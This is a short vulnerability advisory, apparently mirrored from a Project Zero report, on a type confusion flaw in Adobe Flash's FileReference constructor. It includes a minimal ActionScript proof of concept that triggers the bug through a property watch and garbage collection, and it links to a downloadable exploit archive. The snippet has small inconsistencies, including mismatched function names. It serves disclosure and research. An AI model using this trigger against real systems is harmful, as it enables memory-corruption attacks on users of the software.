Adobe Flash - Type Confusion in FileReference Constructor

2016-05-17 21:05:49

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799

There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){

this.__proto__ = {};
this.__proto__.__constructor__ = flash.display.BitmapData;
super(1000, 1000);


}


function mysubclass(){


this.watch("name", myfunc);
_global.ASnative(2204, 200)(this); // FileReference constructor
this.unwatch("name"); // let the reference free

}
}

var a = new subclass();
a = 0;
// wait for GC


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39829.zip

Fixes

No fixes

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